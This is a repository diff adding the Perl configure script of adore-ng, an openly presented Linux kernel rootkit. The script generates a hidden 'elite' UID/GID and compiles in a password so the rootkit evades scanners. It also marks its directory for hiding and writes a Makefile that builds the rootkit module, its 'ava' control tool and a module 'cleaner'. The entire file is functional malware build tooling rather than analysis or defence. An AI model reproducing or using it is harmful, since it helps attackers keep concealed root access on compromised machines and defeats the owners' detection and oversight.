diff options
Diffstat (limited to 'other/adore-ng/configure')
| -rwxr-xr-x | other/adore-ng/configure | 243 |
1 files changed, 243 insertions, 0 deletions
diff --git a/other/adore-ng/configure b/other/adore-ng/configure new file mode 100755 index 0000000..0edcb41 --- /dev/null +++ b/other/adore-ng/configure | |||
| @@ -0,0 +1,243 @@ | |||
| 1 | #!/usr/bin/perl | ||
| 2 | |||
| 3 | # (C) 2002 by Stealth. | ||
| 4 | # Using at your own risk. Licensed under BSDish license. | ||
| 5 | # See LICENSE-file. Standard disclaimer applies. | ||
| 6 | |||
| 7 | # adore configuration script | ||
| 8 | # One can also use Makefile.gen edited by hand | ||
| 9 | # when perl is not available or one needs special values | ||
| 10 | # (crosscompiling) | ||
| 11 | |||
| 12 | # | ||
| 13 | # Initializink, Pitr ... | ||
| 14 | # | ||
| 15 | |||
| 16 | $elite_uid = 0; | ||
| 17 | $elite_cmd = 0; | ||
| 18 | $cc = ""; | ||
| 19 | $| = 1; | ||
| 20 | $current_adore = 41; | ||
| 21 | $bw = shift || 4; | ||
| 22 | |||
| 23 | print "\nUsing byte-width of $bw for UID/GID\n"; | ||
| 24 | |||
| 25 | sub get_pass() | ||
| 26 | { | ||
| 27 | print "\n\nSince version 0.33 Adore requires 'authentication' for\n". | ||
| 28 | "its services. You will be prompted for a password now and this\n". | ||
| 29 | "password will be compiled into 'adore' and 'ava' so no further actions\n". | ||
| 30 | "by you are required.\nThis procedure will save adore from scanners.\n". | ||
| 31 | "Try to choose a unique name that is won't clash with filenames in /proc.\n"; | ||
| 32 | |||
| 33 | print "Password (echoed):"; my $s = <STDIN>; | ||
| 34 | chop($s); | ||
| 35 | s/"//g; | ||
| 36 | return substr($s, 0, 15); | ||
| 37 | } | ||
| 38 | |||
| 39 | # | ||
| 40 | # find elite UID+GID | ||
| 41 | # | ||
| 42 | sub get_elite_id() | ||
| 43 | { | ||
| 44 | my $uid = 0, $p; | ||
| 45 | if ($bw == 2) { | ||
| 46 | $p = "S"; | ||
| 47 | } elsif ($bw == 4) { | ||
| 48 | $p = "I"; | ||
| 49 | } else { | ||
| 50 | print "Nuts! Stupid byte-width of $bw. Use either 2 or 4.\n"; | ||
| 51 | exit; | ||
| 52 | } | ||
| 53 | |||
| 54 | open(R, "/dev/random") or die "$!"; | ||
| 55 | while (defined(getpwuid($uid))) { | ||
| 56 | read R, $uid, $bw; | ||
| 57 | $uid = unpack($p, $uid); | ||
| 58 | } | ||
| 59 | read R, $gid, $bw; | ||
| 60 | close(R); | ||
| 61 | $gid = unpack($p, $gid); | ||
| 62 | return ($uid, $gid); | ||
| 63 | } | ||
| 64 | |||
| 65 | |||
| 66 | # | ||
| 67 | sub check_smp() | ||
| 68 | { | ||
| 69 | if (`uname -a` =~ "SMP") { | ||
| 70 | return "YES"; | ||
| 71 | } else { | ||
| 72 | return "NO"; | ||
| 73 | } | ||
| 74 | } | ||
| 75 | |||
| 76 | |||
| 77 | sub check_26() | ||
| 78 | { | ||
| 79 | if (`uname -r` =~ /2\.6/) { | ||
| 80 | return "YES"; | ||
| 81 | } else { | ||
| 82 | return "NO"; | ||
| 83 | } | ||
| 84 | } | ||
| 85 | |||
| 86 | |||
| 87 | # check for CONFIG_MODVERSIONS=y | ||
| 88 | sub check_modversions() | ||
| 89 | { | ||
| 90 | open I, "</proc/ksyms" or die "open(/proc/ksyms) $!"; | ||
| 91 | while (<I>) { | ||
| 92 | if (/kernel_thread_R.+/) { | ||
| 93 | close I; | ||
| 94 | return "YES"; | ||
| 95 | } | ||
| 96 | if (/kernel_thread/) { | ||
| 97 | close I; | ||
| 98 | return "NO"; | ||
| 99 | } | ||
| 100 | } | ||
| 101 | print "WARN: Can't find kernel_thread!! Using \"NO\"!"; | ||
| 102 | return "NO"; | ||
| 103 | } | ||
| 104 | |||
| 105 | # | ||
| 106 | # Look for loaded modules | ||
| 107 | # | ||
| 108 | sub check_modules() | ||
| 109 | { | ||
| 110 | print "Loaded modules:\n"; | ||
| 111 | system("cat /proc/modules"); | ||
| 112 | } | ||
| 113 | |||
| 114 | # | ||
| 115 | # Look where insmod is located | ||
| 116 | # | ||
| 117 | sub check_insmod() | ||
| 118 | { | ||
| 119 | my $s; | ||
| 120 | print "Checking 4 insmod ... "; | ||
| 121 | foreach (qw(/bin /sbin /usr/sbin /usr/bin)) { | ||
| 122 | if (-x ($s = "$_/insmod")) { | ||
| 123 | print "found $s -- OK\n"; | ||
| 124 | return $s; | ||
| 125 | } | ||
| 126 | } | ||
| 127 | print "WARN: No insmod found in /bin, /sbin, /usr/sbin, /usr/bin! Fix init-script by hand!\n"; | ||
| 128 | return "insmod"; | ||
| 129 | } | ||
| 130 | |||
| 131 | # | ||
| 132 | # RH 7 has 'kgcc' | ||
| 133 | # | ||
| 134 | sub check_cc() | ||
| 135 | { | ||
| 136 | my $r; | ||
| 137 | if (-x "/usr/bin/kgcc") { | ||
| 138 | $r = "kgcc"; | ||
| 139 | } else { | ||
| 140 | $r = "cc"; | ||
| 141 | } | ||
| 142 | return $r; | ||
| 143 | } | ||
| 144 | |||
| 145 | |||
| 146 | ############################## | ||
| 147 | # | ||
| 148 | # main() | ||
| 149 | # | ||
| 150 | ############################## | ||
| 151 | |||
| 152 | print "\nStarting adore configuration ...\n\n"; | ||
| 153 | ($uid, $gid) = get_elite_id(); | ||
| 154 | |||
| 155 | print "Checking 4 ELITE_UID + ELITE_GID ... "; | ||
| 156 | print "found $uid, $gid\n"; | ||
| 157 | |||
| 158 | |||
| 159 | print "Checking 4 SMP ... ", $has_smp = check_smp(), "\n"; | ||
| 160 | |||
| 161 | print "Checking 4 MODVERSIONS ... ", $has_modversions = check_modversions(), "\n"; | ||
| 162 | |||
| 163 | print "Checking for kgcc ... "; | ||
| 164 | print "found ", $cc = check_cc(), "\n"; | ||
| 165 | |||
| 166 | |||
| 167 | $insmod = check_insmod(); | ||
| 168 | print "\n"; | ||
| 169 | |||
| 170 | check_modules(); | ||
| 171 | |||
| 172 | $pwd = get_pass(); | ||
| 173 | |||
| 174 | |||
| 175 | print "\nPreparing '.' for hiding ... "; | ||
| 176 | chown($uid, $gid, ".") or print "(failed)"; | ||
| 177 | |||
| 178 | print "\n\n"; | ||
| 179 | print "Creating Makefile ...\n"; | ||
| 180 | |||
| 181 | print "\n\a*** Edit adore-ng.h for the hidden services ***\n"; | ||
| 182 | |||
| 183 | # | ||
| 184 | # create an Makefile backup. | ||
| 185 | # | ||
| 186 | |||
| 187 | $date = `date`; | ||
| 188 | $date =~ tr/ /_/; | ||
| 189 | |||
| 190 | system("touch Makefile;cp Makefile Makefile_$date"); | ||
| 191 | |||
| 192 | # | ||
| 193 | # write Makefile | ||
| 194 | # | ||
| 195 | |||
| 196 | open(O, ">Makefile") or die "open(Makefile) $!"; | ||
| 197 | |||
| 198 | print O "#\nCC=$cc\nCFLAGS=-O2 -Wall\n\n"; | ||
| 199 | print O "#CFLAGS+=-mcpu=i486\nINC=-I/usr/src/linux/include"; | ||
| 200 | print O "\nCFLAGS+=-DELITE_UID=${uid}U -DELITE_GID=${gid}U\nCFLAGS+=-DCURRENT_ADORE=$current_adore\n". | ||
| 201 | "CFLAGS+=-DADORE_KEY=\\\"$pwd\\\"\n\n"; | ||
| 202 | |||
| 203 | if ($has_smp eq "NO") { | ||
| 204 | print O "#"; | ||
| 205 | } | ||
| 206 | |||
| 207 | print O "CFLAGS+=-D__SMP__\n"; | ||
| 208 | |||
| 209 | |||
| 210 | print O "\n"; | ||
| 211 | |||
| 212 | if ($has_modversions eq "NO") { | ||
| 213 | print O "#"; | ||
| 214 | } | ||
| 215 | |||
| 216 | print O<<_EOF_; | ||
| 217 | CFLAGS+=-DMODVERSIONS | ||
| 218 | |||
| 219 | all: adore-ng ava cleaner symsed | ||
| 220 | |||
| 221 | adore-ng: adore-ng.c | ||
| 222 | rm -f adore-ng.o | ||
| 223 | \$(CC) -c \$(INC) \$(CFLAGS) adore-ng.c -o adore-ng.o | ||
| 224 | \$(CC) -c \$(INC) \$(CFLAGS) -DRELINKED adore-ng.c -o zero.o | ||
| 225 | |||
| 226 | ava: ava.c libinvisible.c | ||
| 227 | \$(CC) \$(CFLAGS) ava.c libinvisible.c -o ava | ||
| 228 | |||
| 229 | cleaner: cleaner.c | ||
| 230 | \$(CC) \$(INC) -c \$(CFLAGS) cleaner.c | ||
| 231 | |||
| 232 | symsed: symsed.c | ||
| 233 | \$(CC) -O2 symsed.c -o symsed | ||
| 234 | clean: | ||
| 235 | rm -f core ava symsed *.o | ||
| 236 | _EOF_ | ||
| 237 | |||
| 238 | # | ||
| 239 | # Done :> | ||
| 240 | # | ||
| 241 | |||
| 242 | close O; | ||
| 243 | |||
